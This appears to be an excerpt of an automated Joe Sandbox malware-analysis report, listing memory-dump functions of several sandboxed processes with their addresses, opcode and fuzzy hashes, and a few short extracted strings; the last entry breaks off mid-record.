Instruction ID: 7aab4e8cbe12285b666a0b0a32535bee17759c4d0a12c54148447a1e9166c9a8
Opcode Fuzzy Hash: 563816ecba3afff70dae901d8a51f440606eca0c607462ccb871d4686ab75682
Instruction Fuzzy Hash: A8210132B0D2898FE312DB68E8A51DDBFA0EF43324F1641B6C280DB196D978164AD781

Function 00007FFD34400C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68f98372b25f3b7ed2586bfdd80a7739018767935b55e28f4ba937016d8a116d
Instruction ID: 084cbd032153faa72abb11239866bce0f348fa120a0fcde99fa042a07cfbadb3
Opcode Fuzzy Hash: 68f98372b25f3b7ed2586bfdd80a7739018767935b55e28f4ba937016d8a116d
Instruction Fuzzy Hash: 4C11C231A0D7888FE702DB78E8A51DDBFB0EF43310F1645B6C184DB196D57816598781

Function 00007FFD34400C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f719af44b1e62238a94b1d1544d133e15e6503658b0baddd5f63da1dc6222e2
Instruction ID: 6a6a75c24465418be1ae3b320ad1a179e22d3f76a11a6e448c333bab2e1d8a9b
Opcode Fuzzy Hash: 9f719af44b1e62238a94b1d1544d133e15e6503658b0baddd5f63da1dc6222e2
Instruction Fuzzy Hash: 0501AD31A0E7888FE702DB68D8A419DBFB0EF43310F1645FAC580DB196D9381658C781

Function 00007FFD34405EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e61d3fb94b3a483446228939fb80f0d240d060cc6b208fee0da2c84fe3ebcb0
Instruction ID: 318fd2abec1809c84384b22b5e5334d303ecfc8d36848b5fbb052f547bb3e59c
Opcode Fuzzy Hash: 8e61d3fb94b3a483446228939fb80f0d240d060cc6b208fee0da2c84fe3ebcb0
Instruction Fuzzy Hash: 40012160E1891E4AE7A4E718D8B57B8A190EF46300F5201B5D90EE3296ED6D6D50A740

Function 00007FFD3440171D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a42e17e609e66c2e3097432429c437116eb2c13d4c73acc1440de3bffe0bcc
Instruction ID: 209f2fe0de12775b364f6e527ea58865760316f357c9e71e630447bc3ef8e553
Opcode Fuzzy Hash: a6a42e17e609e66c2e3097432429c437116eb2c13d4c73acc1440de3bffe0bcc
Instruction Fuzzy Hash: CEF0C232F0C5064BEB58B708C8A66F87392EB95350F060676D40EC72DADE9DAD1283C0

Function 00007FFD34405F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 753e9c1c2e9611ccd641fd62253276f84926cfd969e0a23f35f1748fa2e7877e
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 2C018130A1840E8EEBA4FB04D8A5BF8B3A1EB55300F5140F9D90ED31A9EE7C69D19B41

Function 00007FFD34400C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c021bc4a3aa684d455242704b1f712e3a5be6fdee756fff754e8d521af93c0ff
Instruction ID: 2304485bda03568240602f77040cfcb87fed4ccddd5676544f02675bab5769c1
Opcode Fuzzy Hash: c021bc4a3aa684d455242704b1f712e3a5be6fdee756fff754e8d521af93c0ff
Instruction Fuzzy Hash: A401B131A0E3888FD702DB78D89419DBFB0EF43314F1641FAC140DB1A6D9385A58C781

Function 00007FFD34400C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e38f79f4c6f67e1b65adfd8974c9df803e0d247d73c471de7351d27d532f8ce
Instruction ID: 9cd3b2061de38483f23fac508bf26a44155d90c250ef1a42012b3c2ad324cda8
Opcode Fuzzy Hash: 0e38f79f4c6f67e1b65adfd8974c9df803e0d247d73c471de7351d27d532f8ce
Instruction Fuzzy Hash: 43018F30A0E3888FE712DB74D49419DBFB0AF03304F1541EAC540DB196D9785A58C741

Function 00007FFD34400B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5206cafcdc3d55d1ebf569d031aca4f5246edcae550be1228116c3f1ac54b64d
Instruction ID: b4f956ac19803fc95a75edd0a4537a43b1d972a3a70dfd3e295d64659687d5f9
Opcode Fuzzy Hash: 5206cafcdc3d55d1ebf569d031aca4f5246edcae550be1228116c3f1ac54b64d
Instruction Fuzzy Hash: 18E07D3232C54E8FDF06FB3CDC974A47B50EB4B21078700FAD008CB0A2C212685E8B42

Function 00007FFD34404265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: 446c19d5f34a84a6fd5641d9d5a5f5e8940cf57c90f3e9f5fd93d673dacb3524
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: A7E01A30F0811A4BF798A348D8E13ADA2A4EB8A304F150478DB1ED33C9DDACAD509605

Function 00007FFD344006AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: e8faba09d9b46697ea9f3db097673d5c764bb2f6985da2eb409b2c5348bca1d0
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 5EC00205F5A99B01A455336AA4A60ADE5415BC6625FD21572D70CD00999C8D20A5225A

Function 00007FFD344012D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: 87bb2d1afbdb6299e4c2006d85d0693c179426fa63320165a2dca1347feceac5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: B0C04C345518098FC948EB69C99591477A0FB1A215BD600A0E409C71B5D659DCD5DB41

Function 00007FFD344006D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: f2d40f74121abed2b9625437c75ed249d18bc8c5f09c373a344d4817d11b8cd4
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 30B00205D5684F01B45433BA59D6065F4505F46115FD61170D60DD019D9CCD55B52356

Non-executed Functions

Function 00007FFD344009B0 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD34400B3E
!k9, xrefs: 00007FFD34400B4E
c9, xrefs: 00007FFD34400B56
"s9, xrefs: 00007FFD34400B46

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 154bb44e6f77374ea633bcc119611125e0fc94b07fd68a89fc34f4d7670a4877
Instruction ID: bbd548dde306652e3bc7b8fd006d05db6bacfa96dfe7b77538fa37a2f16e89cc
Opcode Fuzzy Hash: 154bb44e6f77374ea633bcc119611125e0fc94b07fd68a89fc34f4d7670a4877
Instruction Fuzzy Hash: 4F51D303B0A46305E32333FD74620FEAB68DF92376B684677E14CEA0974D0E61D682E5

Analysis Process: tQESKTdysPpsVzUyXTE.exePID: 2360, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343E0D48 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD343E0DF3

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 146f8b0cc645723e337f4363dc020959b3fe49039102ce54fa48363bacb1aac2
Instruction ID: 8a83ce696b02bdf86e511642a62576ab0f296e4be52dd46661c05a7b6be7f925
Opcode Fuzzy Hash: 146f8b0cc645723e337f4363dc020959b3fe49039102ce54fa48363bacb1aac2
Instruction Fuzzy Hash: 2891F6B2A19A994FEB99EB5C88A57E97FE1FB96310F0400BBC049D72D2DE7914118700

Function 00007FFD343E0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a11c931049274633f1b09498fca1695dd96588818e3776e8f3abe4a2d9644a
Instruction ID: a4cd3700ae56978bb6cf4575a0496d01511ca51bbdb389e39a251d351c997002
Opcode Fuzzy Hash: b3a11c931049274633f1b09498fca1695dd96588818e3776e8f3abe4a2d9644a
Instruction Fuzzy Hash: DB51C1B2A18A598BEB98DF5C88A57E97FE2FB9A310F54017FC009D37D1DAB914528700

Function 00007FFD343E08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: d8f1fecdc614c36516423f8dac7c8f414728d23f4de8a91eca172132a6c36ed1
Instruction ID: 44aab331974be2cef8372c206615b947adaebd0883e0e8201377ff5a0eb68b01
Opcode Fuzzy Hash: d8f1fecdc614c36516423f8dac7c8f414728d23f4de8a91eca172132a6c36ed1
Instruction Fuzzy Hash: DA412812B4E6650AE716F7BC64B62FA7B91DF46335B1804BFD18DC71D3CD2968C18281

Function 00007FFD343E0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: a9ba9499d48b1c7621d439046e532314d0c71544562c7d4ce8c427d2caa63ab6
Instruction ID: c84dc586cab53d00e512c93e92b66fd7c1221156590a505982ef6d81cdab63b4
Opcode Fuzzy Hash: a9ba9499d48b1c7621d439046e532314d0c71544562c7d4ce8c427d2caa63ab6
Instruction Fuzzy Hash: 7C312912B0E9551BE759F7AC64A66F677D5DF49321F1800BBD50EC31D3CC2DAC814280

Function 00007FFD343E0998 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: 6533f2a97ebac74d2895e7df161b4e5c3dd6fd161d47b904f6e344e5dc3e3d5d
Instruction ID: 0ddec21b70a68d04efd05d28525fecd6e944c6fb078bc2269bc66f99996e5a00
Opcode Fuzzy Hash: 6533f2a97ebac74d2895e7df161b4e5c3dd6fd161d47b904f6e344e5dc3e3d5d
Instruction Fuzzy Hash: 2D212B2171A9591FEB99F76C54AA6B577C2EB99310F1800BDE54DC32D3DD28AC818640

Function 00007FFD343E1171 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec35f5c8b47dc6a88f9c9dbfb9ef6df2750763ac79da739d0c0babb5aa1d073a
Instruction ID: e2bc4745250f033217148b2e81a5e5ce887e7d1568f31fc7f875f917f2b6b186
Opcode Fuzzy Hash: ec35f5c8b47dc6a88f9c9dbfb9ef6df2750763ac79da739d0c0babb5aa1d073a
Instruction Fuzzy Hash: 9F31B531A0D68A8FDF46EB64C8A59A97BF0EF17300B0905FBC009D7193DA7DA885C751

Function 00007FFD343E0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961c50ecccd3a12d2b19c0ff3538334bf9a6a743cc42c1b007991df2e60fdb71
Instruction ID: 3179053f7924f98de58a280fd3995a62d8c3f2816112d9a674ec7d7833f2bf34
Opcode Fuzzy Hash: 961c50ecccd3a12d2b19c0ff3538334bf9a6a743cc42c1b007991df2e60fdb71
Instruction Fuzzy Hash: 9A210432B0E2998FE312EB6898A51DE7FB0EF43324F1845B7C280DB1D2D538158A9781

Function 00007FFD343E0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7edb03e22994360e141e2f834e2a56849c75503850f835ca00ed74b6a8d5a8c5
Instruction ID: 71633ac4c7688aee68c77d964617aacd735d19f0551b20aea7672a14208685e2
Opcode Fuzzy Hash: 7edb03e22994360e141e2f834e2a56849c75503850f835ca00ed74b6a8d5a8c5
Instruction Fuzzy Hash: 3B11C232A0E7988FE702EB78D8A42DE7FB0EF43310F1944B7C280DB192D53816898780

Function 00007FFD343E0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa88565d334715e60adce184a27fcc1296be9004259e452469743d690529a750
Instruction ID: 9b26fb760e8ece7771a2b95fe5cc28d312cacfc8ae7bc242b13dd73dc54dd2f1
Opcode Fuzzy Hash: aa88565d334715e60adce184a27fcc1296be9004259e452469743d690529a750
Instruction Fuzzy Hash: BF016136A0E7988FE702EB6898A41DE7FB0EF43314F1945E6C680DB192D53856899781

Function 00007FFD343E5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2d5dfb5c16a610bad244d69bcc03052962ac035d5815781a7d058aa8efec79
Instruction ID: fe96c8fc097785a950fe6c19bcb675f5063115ce9d80eaccddae1558944e8ce1
Opcode Fuzzy Hash: ad2d5dfb5c16a610bad244d69bcc03052962ac035d5815781a7d058aa8efec79
Instruction Fuzzy Hash: 44012522E5D92D4AEBA4B75884B57BA6190AF46300F5401B5D90DE32D2DD3C6D816740

Function 00007FFD343E171D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f213467070e894ca985854c873912b2f737b2985a3aed624a0b1a3823bc66ad
Instruction ID: bb0cc2a1c41905f421fcac6973c600dc2289b5c99f9e03cfb970b6ad8f5fd606
Opcode Fuzzy Hash: 4f213467070e894ca985854c873912b2f737b2985a3aed624a0b1a3823bc66ad
Instruction Fuzzy Hash: CBF0C823F4D4164BFB58B644C4A56F96392DB51320F080676D40DC72D5DD2CAD8283C0

Function 00007FFD343E5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: db96a83b2404d05d4156c18e8f9d65d10326253ad1d7700575b52856a397d9af
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 21016D31A9D51E8AEBA4BA44D8A5BF973A0EF15300F5400B9D90ED31A2EE3C2DC25A41

Function 00007FFD343E0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29c50fa9d688aa280f0ed051006b6d5c8c81f1ea4558d6d1634d8a88d54206b
Instruction ID: 734d2c5e21db0d8c14baac1b955bb65203b8da64f1ccef26ce2d9e41e6ff3127
Opcode Fuzzy Hash: e29c50fa9d688aa280f0ed051006b6d5c8c81f1ea4558d6d1634d8a88d54206b
Instruction Fuzzy Hash: FB019E32A0E3888FD702EB68C8941DEBFB0EF03314F1945EAC180DB292D5385A88C781

Function 00007FFD343E0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063bab0e2a4b436208131f171173a2f94cc48cc607a8cef7041587e6a3d050be
Instruction ID: 04d2dfb04c82a57575cbe4a77b6c7bbfcfc77b03587cd4fd9ee23f37aab8fc9f
Opcode Fuzzy Hash: 063bab0e2a4b436208131f171173a2f94cc48cc607a8cef7041587e6a3d050be
Instruction Fuzzy Hash: A601A231A0E3888FE712EB7484941DEBFF0EF07304F1845E6C580DB292D9385A88C741

Function 00007FFD343E0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f44922ab23a96b92295ee2eaa0cb2b2750dc0e2cc9647922e1fb36440405f35
Instruction ID: db46e404cd04747ad4dafc60793def62e3b72602edd40cf2905253530ad1060f
Opcode Fuzzy Hash: 6f44922ab23a96b92295ee2eaa0cb2b2750dc0e2cc9647922e1fb36440405f35
Instruction Fuzzy Hash: 9CE07D3232D55E8FDF02FB3CDC974997B50EB4B21078B00FAD108CB0A2C211684E8B41

Function 00007FFD343E4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: 5e955548f11ab2433f2e569a67abea519a43871091a6218b221e418b01c7639a
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: E5E01232F4911A86FB98B548C8E13EA6264EF45304F180078DB5ED33C1DD3CAEC09605

Function 00007FFD343E06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: d8a034d3eadd56306136040cc71971a4a2c566673f2357e922dbad6dd1579167
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 3EC08C03FCB56B80B841316E24E20EFA1208BC6320FDC0032D30CD20919C3D20C62156

Function 00007FFD343E12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: 4b764aa09d87ae252aaea70fa7dbb2e1cf0f5a670bde5e25e0268d4432d86b4d
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: EFC08C305518098FC948FB28C88480433A0FB0A210BC60090E009C7270D229DCC0D740

Function 00007FFD343E06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: f82b15cf4566523a7950caa2f1db4320d5d2b73e3e455da6e6d7941920eba9ac
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 29B01201DD744F00A84431BA18D20A670505B46100FC80070E70CC1185986D10D52252

Non-executed Functions

Function 00007FFD343E09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD343E0B46
c9, xrefs: 00007FFD343E0B56
#{9, xrefs: 00007FFD343E0B3E
!k9, xrefs: 00007FFD343E0B4E

Memory Dump Source

Source File: 00000016.00000002.2952051680.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd343e0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 4d06fa6ffed6ec0bea91ab6bef49ed36b5857152e4a9dfd8c7293bbe64f4a6f1
Instruction ID: 78f3e9710b42fb09f176b80e877fb26e293c00c2ed5e9a472b7ac096cb436e99
Opcode Fuzzy Hash: 4d06fa6ffed6ec0bea91ab6bef49ed36b5857152e4a9dfd8c7293bbe64f4a6f1
Instruction Fuzzy Hash: 9651B107B0A57646E32333FD74611EFABA89F8137AB5C4677E24CDB0838C1961C292E5

Analysis Process: chainPorthostCommon.exePID: 2884, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343D0D48 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD343D0DF3

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: a58340c3322743aa5ba9531f6b7237c98a34d113af03d87a119a50c90cc7bce5
Instruction ID: bb76e4a54e0a2fe67742c54a3cfdbc88df85db52a269541a9173b39678a498bc
